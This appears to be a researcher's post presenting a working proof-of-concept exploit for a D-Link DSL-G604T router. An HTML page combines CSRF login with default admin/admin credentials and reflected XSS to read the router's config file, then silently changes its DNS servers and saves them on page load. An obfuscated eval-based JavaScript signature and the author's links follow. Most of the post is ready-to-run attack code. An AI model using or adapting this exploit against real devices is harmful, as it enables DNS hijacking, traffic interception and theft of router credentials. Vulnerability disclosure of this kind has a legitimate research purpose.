I finally sat down and wrote a POC for my router, it's a DLink DSL-G604T. It's probably going in the bin after this :) I can read any file on the router remotely and the entire thing can be CSRF'd to death. In the sample code I show how to read the config file (or any other file) and change the DNS settings to anything you like.
<html>
<head>
<title>DLink DSL-G604T Exploit</title>
<script>
function readConfig() {
login();
setTimeout(function() {
xss('"><iframe src="http://192.168.1.1/cgi-bin/webcm?getpage=/etc/config.xml" onload="alert(this.contentWindow.document.body.innerHTML);">');
}, 2000);
}
function xss(payload) {
ifrm = document.getElementById('iframe');
ifrm.contentWindow.location = 'http://192.168.1.1/cgi-bin/webcm?getpage=../html/advanced/portforw.htm&var:pagename=fwan&var:category='+payload;
}
function login() {
var f = document.createElement('form');
f.action = 'http://192.168.1.1/cgi-bin/webcm';
f.innerHTML = '<input type="hidden" name="getpage" value="../html/home.htm"><input type="hidden" name="errorpage" value="../html/index.html">';
f.innerHTML += '<input type="hidden" name="login:command/username" value="admin"><input type="hidden" name="login:command/password" value="admin">';
f.innerHTML += '<input type="hidden" name="var:errormsg" value="Error">';
f.target = 'iframe';
f.method = 'post';
document.body.appendChild(f);
f.submit();
}
function post(url, fields) {
var p = document.createElement('form');
p.action = url;
p.innerHTML = fields;
p.target = 'iframe';
p.method = 'post';
document.body.appendChild(p);
p.submit();
}
function changeDNS(server) {
login();
setTimeout(function() {
var fields = '<input type="hidden" name="getpage" value="../html/setup/dns.htm">';
fields += '<input type="hidden" name="resolver:settings/nameserver1" value="'+server+'">';
fields += '<input type="hidden" name="resolver:settings/nameserver2" value="'+server+'">';
fields += '<input type="hidden" name="dproxy:settings/state" value="2">';
post('http://192.168.1.1/cgi-bin/webcm',fields);
}, 2000);
setTimeout(function() {
post('http://192.168.1.1/cgi-bin/webcm','<input type="hidden" name="logic:command/save" value="../html/tools/syscommnd.htm">');
},5000);
}
window.onload = function() {
//readConfig();
changeDNS('2.2.2.2');
}
</script>
</head>
<body>
<iframe name="iframe" id="iframe"></iframe>
</body>
</html>
------------------------------------------------------------------------------------------------------------
(
[º,À,Æ,Ç,Å]=<ª><µ>{(![]+[])[+!![]+[]]}</µ>
<µ>{(![]+[])[+!![]+!![]+[]]}</µ>
<µ>{(!![]+[])[+!![]+!![]+!![]+[]]}</µ>
<µ>{(!![]+[])[+!![]+[]]}</µ><µ>{(!![]+[])[+[]]}</µ>
</ª>.*).*(\u0065\u0076\u0061\u006c([]+º+À+Æ+Ç+Å+['('+[+!+[]]+')'])).
@À.º.Æ.Å.Ç
"People who say it cannot be done should not interrupt those who are doing it."
labs : [
www.businessinfo.co.uk]
blog : [
www.thespanner.co.uk]
Hackvertor : [
www.businessinfo.co.uk]